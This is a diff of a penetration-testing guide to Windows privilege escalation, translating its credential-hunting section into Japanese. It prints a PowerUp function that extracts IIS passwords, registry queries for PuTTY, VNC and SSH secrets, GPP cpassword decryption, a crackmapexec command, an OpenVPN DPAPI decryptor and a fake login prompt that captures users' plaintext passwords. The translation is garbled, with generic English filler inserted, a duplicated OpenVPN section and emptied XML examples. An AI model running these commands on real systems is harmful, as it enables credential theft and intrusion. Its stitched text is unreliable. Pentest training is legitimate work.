+Windowsのワークステーションでよく使用されるStickyNotesアプリでは、パスワードやその他の情報を保存するために使用されますが、これがデータベースファイルであることに気付かないことがあります。このファイルは`C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`にあり、常に検索して調査する価値があります。 ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. - -This code was extracted from _**PowerUP**_: +**AppCmd.exe**は`%systemroot%\system32\inetsrv\`ディレクトリにあります。\ +このファイルが存在する場合、いくつかの**資格情報**が設定されており、**回復**できる可能性があります。 +このコードは_PowerUP_から抽出されました: ```bash function Get-ApplicationHost { - $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" +$OrigError = $ErrorActionPreference +$ErrorActionPreference = "SilentlyContinue" - # Check if appcmd.exe exists - if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { - # Create data table to house results - $DataTable = New-Object System.Data.DataTable +# Check if appcmd.exe exists +if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { +# Create data table to house results +$DataTable = New-Object System.Data.DataTable - # Create and name columns in the data table - $Null = $DataTable.Columns.Add("user") - $Null = $DataTable.Columns.Add("pass") - $Null = $DataTable.Columns.Add("type") - $Null = $DataTable.Columns.Add("vdir") - $Null = $DataTable.Columns.Add("apppool") +# Create and name columns in the data table +$Null = $DataTable.Columns.Add("user") +$Null = $DataTable.Columns.Add("pass") +$Null = $DataTable.Columns.Add("type") +$Null = $DataTable.Columns.Add("vdir") +$Null = $DataTable.Columns.Add("apppool") - # Get list of application pools - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { +# Get list of application pools +Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { - # Get application pool name - $PoolName = $_ +# Get application pool name +$PoolName = $_ - # Get username - $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" - $PoolUser = Invoke-Expression $PoolUserCmd +# Get username +$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" +$PoolUser = Invoke-Expression $PoolUserCmd - # Get password - $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" - $PoolPassword = Invoke-Expression $PoolPasswordCmd +# Get password +$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" +$PoolPassword = Invoke-Expression $PoolPasswordCmd - # Check if credentials exists - if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { - # Add credentials to database - $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) - } - } +# Check if credentials exists +if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { +# Add credentials to database +$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) +} +} - # Get list of virtual directories - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { +# Get list of virtual directories +Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { - # Get Virtual Directory Name - $VdirName = $_ +# Get Virtual Directory Name +$VdirName = $_ - # Get username - $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" - $VdirUser = Invoke-Expression $VdirUserCmd +# Get username +$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" +$VdirUser = Invoke-Expression $VdirUserCmd - # Get password - $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" - $VdirPassword = Invoke-Expression $VdirPasswordCmd +# Get password +$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" +$VdirPassword = Invoke-Expression $VdirPasswordCmd - # Check if credentials exists - if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { - # Add credentials to database - $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') - } - } +# Check if credentials exists +if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { +# Add credentials to database +$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') +} +} - # Check if any passwords were found - if( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique - } - else { - # Status user - Write-Verbose 'No application pool or virtual directory passwords were found.' - $False - } - } - else { - Write-Verbose 'Appcmd.exe does not exist in the default location.' - $False - } - $ErrorActionPreference = $OrigError +# Check if any passwords were found +if( $DataTable.rows.Count -gt 0 ) { +# Display results in list view that can feed into the pipeline +$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique +} +else { +# Status user +Write-Verbose 'No application pool or virtual directory passwords were found.' +$False +} +} +else { +Write-Verbose 'Appcmd.exe does not exist in the default location.' +$False +} +$ErrorActionPreference = $OrigError } ``` - ### SCClient / SCCM -Check if `C:\Windows\CCM\SCClient.exe` exists .\ -Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** - +`C:\Windows\CCM\SCClient.exe`が存在するかを確認します。\ +インストーラーは**SYSTEM特権で実行されます**。多くのインストーラーは**DLL Sideloadingに脆弱**です(情報は[https://github.com/enjoiz/Privesc](https://github.com/enjoiz/Privesc)から取得)。 ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` +## ファイルとレジストリ(資格情報) -## Files and Registry (Credentials) +### Puttyの資格情報 -### Putty Creds +```plaintext +Puttyは、SSH、Telnet、およびシリアル接続のためのクライアントソフトウェアです。Puttyは、Windowsのレジストリとファイルシステムに資格情報を保存することがあります。 +以下は、Puttyが保存する可能性のある資格情報の場所です。 + +- レジストリキー: HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions +- ファイル: %APPDATA%\PuTTY\sessions + +これらの場所には、ホスト名、ユーザー名、パスワードなどの情報が含まれている可能性があります。攻撃者は、これらの情報を取得して特権の昇格を試みることができます。 + +``` ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` +### Putty SSH ホストキー -### Putty SSH Host Keys +Puttyは、Windows上でSSH接続を行うための人気のあるクライアントです。Puttyを使用してSSH接続を確立する際、ホストキーの検証が行われます。ホストキーは、サーバーの正当性を確認するために使用されます。 +ホストキーは、サーバーがクライアントに対して公開する鍵のことです。Puttyは、ホストキーを保存し、将来の接続時にホストキーを検証します。これにより、中間者攻撃や偽装サーバーによる攻撃を防ぐことができます。 + +Puttyは、ホストキーを以下の場所に保存します。 + +- レジストリの`HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys` +- ユーザープロファイルの`.putty\sshhostkeys`ファイル + +ホストキーは、サーバーごとに異なるため、異なるサーバーへの接続には異なるホストキーが使用されます。ホストキーは、サーバーが再インストールされると変更される場合があるため、定期的に検証することが重要です。 + +ホストキーの検証は、セキュリティ上の重要な手順です。ホストキーが正当であることを確認せずに接続を許可すると、中間者攻撃によって情報が漏洩する可能性があります。 ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` +### レジストリ内のSSHキー -### SSH keys in registry - -SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys` so you should check if there is anything interesting in there: - +SSHの秘密鍵は、レジストリキー `HKCU\Software\OpenSSH\Agent\Keys` 内に保存されることがありますので、そこに興味深い情報がないか確認する必要があります。 ``` reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys ``` +もしもそのパスの中にエントリがあれば、おそらく保存されたSSHキーです。それは暗号化されて保存されていますが、[https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract)を使用して簡単に復号化できます。\ +この技術に関する詳細はこちら:[https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract).\ -More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) - -If `ssh-agent` service is not running and you want it to automatically start on boot run: - +もし`ssh-agent`サービスが実行されていない場合、自動的に起動するようにしたい場合は、以下を実行してください: ``` Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` - {% hint style="info" %} -It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication. +この技術はもはや有効ではないようです。私はいくつかのSSHキーを作成し、それらを`ssh-add`で追加し、SSH経由でマシンにログインしようとしました。レジストリHKCU\Software\OpenSSH\Agent\Keysは存在せず、procmonは非対称キー認証中に`dpapi.dll`の使用を特定しませんでした。 {% endhint %} -### Unattended files - +### 無人ファイル ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -1088,32 +1335,44 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` +以下は、Windowsのローカル特権エスカレーションに関するハッキング手法についての内容です。以下の内容は、ファイル/hive/hacktricks/windows-hardening/windows-local-privilege-escalation/README.mdからのものです。 -You can also search for these files using **metasploit**: _post/windows/gather/enum\_unattend_ - -Example content\_:\_ +**metasploit**を使用して、これらのファイルを検索することもできます: _post/windows/gather/enum\_unattend_ +例の内容\_:\_ ```markup - - U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== - true - Administrateur - + +U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== +true +Administrateur + - - - - *SENSITIVE*DATA*DELETED* - administrators;users - Administrateur - - - + + + +*SENSITIVE*DATA*DELETED* +administrators;users +Administrateur + + + ``` +### SAM & SYSTEM バックアップ -### SAM & SYSTEM backups +Windowsオペレーティングシステムでは、SAM(Security Account Manager)とSYSTEMファイルは非常に重要なファイルです。SAMファイルには、ユーザーアカウントの情報やパスワードのハッシュが格納されており、SYSTEMファイルにはWindowsセキュリティの設定が含まれています。 +これらのファイルは通常、C:\Windows\System32\configディレクトリに保存されています。ユーザーが管理者権限を持っている場合、これらのファイルをバックアップすることで、特権昇格攻撃のための重要な情報を入手することができます。 + +SAMファイルとSYSTEMファイルのバックアップを取得するためには、以下の手順を実行します。 + +1. バックアップを取得したいマシンにアクセスします。 +2. 管理者権限を持つユーザーとしてログインします。 +3. コマンドプロンプトを開きます。 +4. `copy C:\Windows\System32\config\SAM C:\backup\SAM` コマンドを実行して、SAMファイルをバックアップディレクトリにコピーします。 +5. `copy C:\Windows\System32\config\SYSTEM C:\backup\SYSTEM` コマンドを実行して、SYSTEMファイルをバックアップディレクトリにコピーします。 + +これにより、SAMファイルとSYSTEMファイルのバックアップが取得されます。これらのバックアップは、特権昇格攻撃やパスワードクラッキングなどのセキュリティテストに使用することができます。 ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1123,9 +1382,23 @@ Example content\_:\_ %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` +### クラウドの資格情報 -### Cloud Credentials +Cloud credentials refer to the authentication information used to access and manage cloud services and resources. These credentials typically include a username and password, API keys, access tokens, or other forms of authentication tokens. +In the context of cloud security, it is crucial to protect and manage cloud credentials properly to prevent unauthorized access and potential data breaches. Here are some best practices for handling cloud credentials: + +1. **Secure Storage**: Store cloud credentials in a secure location, such as a password manager or a secure file storage system. Avoid storing them in plain text files or sharing them through insecure channels like email. + +2. **Strong Passwords**: Use strong, unique passwords for cloud accounts and regularly update them. Avoid reusing passwords across different accounts. + +3. **Multi-Factor Authentication (MFA)**: Enable MFA for cloud accounts whenever possible. This adds an extra layer of security by requiring a second form of authentication, such as a code generated by a mobile app or a physical security key. + +4. **Least Privilege**: Follow the principle of least privilege when assigning permissions to cloud credentials. Only grant the necessary permissions required for specific tasks or roles, reducing the risk of unauthorized access. + +5. **Regular Auditing**: Regularly review and audit cloud credentials to identify any unused or unnecessary credentials. Remove or disable any credentials that are no longer needed. + +By implementing these best practices, you can enhance the security of your cloud credentials and reduce the risk of unauthorized access or data breaches. ```bash #From user home .aws\credentials @@ -1135,39 +1408,56 @@ AppData\Roaming\gcloud\access_tokens.db .azure\accessTokens.json .azure\azureProfile.json ``` - ### McAfee SiteList.xml -Search for a file called **SiteList.xml** +**SiteList.xml**というファイルを検索します。 -### Cached GPP Pasword +### キャッシュされたGPPパスワード -Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file. +KB2928120(MS14-025を参照)より前では、一部のグループポリシー設定にカスタムアカウントを使用することができました。この機能は、主に一連のマシンにカスタムのローカル管理者アカウントを展開するために使用されました。ただし、このアプローチには2つの問題がありました。まず、グループポリシーオブジェクトはSYSVOL内のXMLファイルとして保存されているため、ドメインユーザーはそれらを読み取ることができます。2つ目の問題は、これらのGPPに設定されたパスワードがデフォルトの鍵でAES256で暗号化されていることで、このデフォルトの鍵は公に文書化されています。つまり、認証されたユーザーは非常に機密性の高いデータにアクセスし、自分のマシンまたはドメインの特権を昇格させる可能性があります。この機能は、ローカルにキャッシュされたGPPファイルに空でない「cpassword」フィールドが含まれているかどうかを確認します。もしそうであれば、それを復号化し、ファイルの場所とともにGPPに関する情報を含むカスタムのPSオブジェクトを返します。 -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - -* Groups.xml -* Services.xml -* Scheduledtasks.xml -* DataSources.xml -* Printers.xml -* Drives.xml - -**To decrypt the cPassword:** +これらのファイルを検索します:`C:\ProgramData\Microsoft\Group Policy\history`または_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(Windows Vista以前)_。 +**cPasswordを復号化するには:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` - -Using crackmapexec to get the passwords: - +crackmapexecを使用してパスワードを取得する方法: ```shell-session crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` - ### IIS Web Config +The IIS (Internet Information Services) web config file is an important configuration file for managing web applications hosted on Windows servers. It contains settings and directives that control various aspects of the web server and the applications running on it. + +#### Location + +The web config file is typically located in the root directory of the web application, with the filename `web.config`. It can also be found in subdirectories of the application, allowing for specific configuration settings at different levels. + +#### Structure + +The web config file is written in XML format and consists of a hierarchical structure. It contains various sections and elements that define settings for different aspects of the web application, such as authentication, authorization, session management, and error handling. + +#### Configuration Options + +The web config file provides a wide range of configuration options that can be customized to meet the specific requirements of the web application. Some common configuration options include: + +- Authentication: Configuring the authentication method used by the web application, such as Windows authentication or forms-based authentication. +- Authorization: Specifying the access control rules for different users or groups, determining who can access specific resources. +- Session Management: Configuring session state options, such as session timeout and session mode. +- Error Handling: Defining how errors and exceptions are handled by the web application, including custom error pages and error logging. +- HTTP Compression: Enabling compression of HTTP responses to optimize bandwidth usage. +- URL Rewriting: Configuring URL rewriting rules to provide user-friendly and search engine-friendly URLs. +- MIME Types: Defining the MIME types for different file extensions, allowing the web server to handle them correctly. + +#### Modifying the Web Config + +To modify the web config file, you can use a text editor or an integrated development environment (IDE). It is important to make backups of the original file before making any changes, as incorrect modifications can cause issues with the web application. + +#### Conclusion + +Understanding the structure and options available in the IIS web config file is essential for effectively managing and securing web applications hosted on Windows servers. By customizing the configuration settings, you can optimize the performance, security, and functionality of your web application. ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1181,21 +1471,44 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` +以下は、資格情報を含むweb.configの例です: -Example of web.config with credentials: - -```markup - - - - - - - +```xml + + + + + + ``` -### OpenVPN credentials +このweb.configファイルには、`DatabaseUsername`と`DatabasePassword`というキーがあり、それぞれの値は`admin`と`password123`です。 +```markup + + + + + + + +``` +### OpenVPNの資格情報 +To establish a secure connection with an OpenVPN server, you will need the following credentials: + +- **Username**: Your unique username provided by the OpenVPN server administrator. +- **Password**: The corresponding password associated with your username. + +These credentials are necessary to authenticate and authorize your access to the OpenVPN server. Make sure to keep them confidential and avoid sharing them with unauthorized individuals. + +### OpenVPNの資格情報 + +セキュアな接続を確立するために、OpenVPNサーバーには以下の資格情報が必要です: + +- **ユーザー名**:OpenVPNサーバーの管理者から提供される固有のユーザー名。 +- **パスワード**:ユーザー名に関連付けられた対応するパスワード。 + +これらの資格情報は、OpenVPNサーバーへのアクセスを認証および承認するために必要です。機密情報として保持し、権限のない個人と共有しないようにしてください。 ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1203,21 +1516,33 @@ $items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath} foreach ($item in $items) { - $encryptedbytes=$item.'auth-data' - $entropy=$item.'entropy' - $entropy=$entropy[0..(($entropy.Length)-2)] +$encryptedbytes=$item.'auth-data' +$entropy=$item.'entropy' +$entropy=$entropy[0..(($entropy.Length)-2)] - $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( - $encryptedBytes, - $entropy, - [System.Security.Cryptography.DataProtectionScope]::CurrentUser) - - Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) +$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( +$encryptedBytes, +$entropy, +[System.Security.Cryptography.DataProtectionScope]::CurrentUser) + +Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` +### ログ -### Logs +ログは、システムやアプリケーションの動作やイベントの記録を保持する重要な情報源です。ログは、セキュリティインシデントの検出やトラブルシューティングに役立ちます。Windowsシステムでは、さまざまなログが使用されます。 +以下に、主要なログファイルとその役割を示します。 + +- **セキュリティログ (Security Log)**: セキュリティイベントの記録に使用されます。ログオンの試行、アカウントのロックアウト、特権の昇格などの情報が含まれます。 + +- **システムログ (System Log)**: システムの動作に関する情報を記録します。起動、シャットダウン、デバイスのドライバの問題などが含まれます。 + +- **アプリケーションログ (Application Log)**: アプリケーションの動作に関する情報を記録します。エラーメッセージ、アプリケーションのクラッシュなどが含まれます。 + +- **セキュリティアウディットログ (Security Audit Log)**: セキュリティ監査イベントの記録に使用されます。ファイルアクセス、オブジェクトの変更、特権の使用などが含まれます。 + +これらのログは、Windowsイベントビューアを使用して表示および分析することができます。ログの監視と分析は、セキュリティインシデントの早期検出と対応に不可欠です。 ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1225,11 +1550,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` +### 資格情報の要求 -### Ask for credentials - -You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): - +常に、ユーザーに自分の資格情報、または別のユーザーの資格情報を入力するように求めることができます(クライアントに直接資格情報を要求することは非常に危険です)。 ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1237,11 +1560,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` +### **資格情報を含む可能性のあるファイル名** -### **Possible filenames containing credentials** - -Known files that some time ago contained **passwords** in **clear-text** or **Base64** - +以前に明示的なテキストまたはBase64で**パスワード**が含まれていたと知られているファイル名 ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1305,9 +1626,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` - -Search all of the proposed files: - +すべての提案されたファイルを検索します。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1316,139 +1635,158 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` +### リサイクルビン内の資格情報 -### Credentials in the RecycleBin +Bin内に格納されている資格情報を確認するために、リサイクルビンもチェックする必要があります。 -You should also check the Bin to look for credentials inside it +複数のプログラムに保存されたパスワードを**回復**するためには、次のリンクを使用できます:[http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html) -To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html) - -### Inside the registry - -**Other possible registry keys with credentials** +### レジストリ内部 +**他の可能なレジストリキーには資格情報が含まれている場合があります** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` +[**レジストリからopensshキーを抽出する**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +### ブラウザの履歴 -### Browsers History +**ChromeやFirefox**に保存されているパスワードが格納されている可能性のあるデータベースを確認する必要があります。\ +また、ブラウザの履歴、ブックマーク、お気に入りもチェックして、**パスワードが**そこに保存されているかもしれません。 -You should check for dbs where passwords from **Chrome or Firefox** are stored.\ -Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there. - -Tools to extract passwords from browsers: +ブラウザからパスワードを抽出するためのツール: * Mimikatz: `dpapi::chrome` * [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) * [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) * [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)\*\*\*\* -### **COM DLL Overwriting** +### **COM DLLの上書き** -**Component Object Model (COM)** is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). +**Component Object Model (COM)**は、Windowsオペレーティングシステム内に組み込まれた技術であり、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にします。各COMコンポーネントは、クラスID (CLSID) によって**識別**され、各コンポーネントは1つ以上のインターフェースを介して機能を公開します。これらのインターフェースは、インターフェースID (IID) によって識別されます。 -COM classes and interfaces are defined in the registry under **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectively. This registry is created by merging the **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** +COMクラスとインターフェースは、レジストリの**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**および**HKEY\_**_**CLASSES\_**_**ROOT\Interface**に定義されます。このレジストリは、**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**をマージして作成されます。 -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +このレジストリのCLSIDsの中には、**InProcServer32**という子レジストリがあり、これには**DLL**を指す**デフォルト値**と**ThreadingModel**という値が含まれています。ThreadingModelの値は、**Apartment**(シングルスレッド)、**Free**(マルチスレッド)、**Both**(シングルまたはマルチ)、**Neutral**(スレッドニュートラル)のいずれかです。 ![](<../../.gitbook/assets/image (638).png>) -Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. +基本的に、実行されるDLLを**上書き**できる場合、別のユーザーによって実行される場合には、特権を**エスカレーション**することができます。 -To learn how attackers use COM Hijacking as a persistence mechanism check: +攻撃者がCOMハイジャッキングを永続化のメカニズムとして使用する方法について学ぶには、次を参照してください: {% content-ref url="com-hijacking.md" %} [com-hijacking.md](com-hijacking.md) {% endcontent-ref %} -### **Generic Password search in files and registry** - -**Search for file contents** +### **ファイルとレジストリの中から一般的なパスワードを検索する** +**ファイルの内容を検索** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` +**特定のファイル名を持つファイルを検索する** -**Search for a file with a certain filename** +To search for a file with a certain filename, you can use the `dir` command in the Windows command prompt. The `dir` command allows you to list files and directories in a specified location. +To search for a file with a specific filename, follow these steps: + +1. Open the command prompt by pressing `Win + R` and typing `cmd`, then press `Enter`. +2. Navigate to the directory where you want to start the search. You can use the `cd` command to change directories. +3. Use the `dir` command with the `/s` parameter to search recursively through all subdirectories. For example, to search for a file named `example.txt`, you would use the following command: + + ``` + dir /s example.txt + ``` + + This command will search for the file `example.txt` in the current directory and all subdirectories. + +4. Wait for the search to complete. The command prompt will display a list of all files matching the specified filename, along with their file paths. + +By using the `dir` command with the `/s` parameter, you can easily search for files with a specific filename in Windows. ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` +**レジストリを検索してキー名とパスワードを探す** -**Search the registry for key names and passwords** +レジストリは、Windowsオペレーティングシステムで重要な情報を保存するためのデータベースです。特に、ユーザーのキー名やパスワードなどの機密情報が格納されています。ローカル特権昇格攻撃の一環として、レジストリを検索してこれらの情報を見つけることができます。 +以下のコマンドを使用して、レジストリ内のキー名とパスワードを検索します。 + +```plaintext +reg query HKLM /f "password" /t REG_SZ /s +reg query HKCU /f "password" /t REG_SZ /s +reg query HKLM /f "username" /t REG_SZ /s +reg query HKCU /f "username" /t REG_SZ /s +``` + +これにより、レジストリ内のキー名やパスワードに関連するエントリが表示されます。これらの情報を使用して、特権昇格攻撃のための追加の情報を収集することができます。 + +> **注意**: レジストリを検索する際には、慎重に行ってください。不正な目的で使用することは違法です。この技術は、セキュリティ専門家や合法的な目的のためにのみ使用されるべきです。 ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` +### パスワードを検索するツール -### Tools that search for passwords - -[**MSF-Credentials 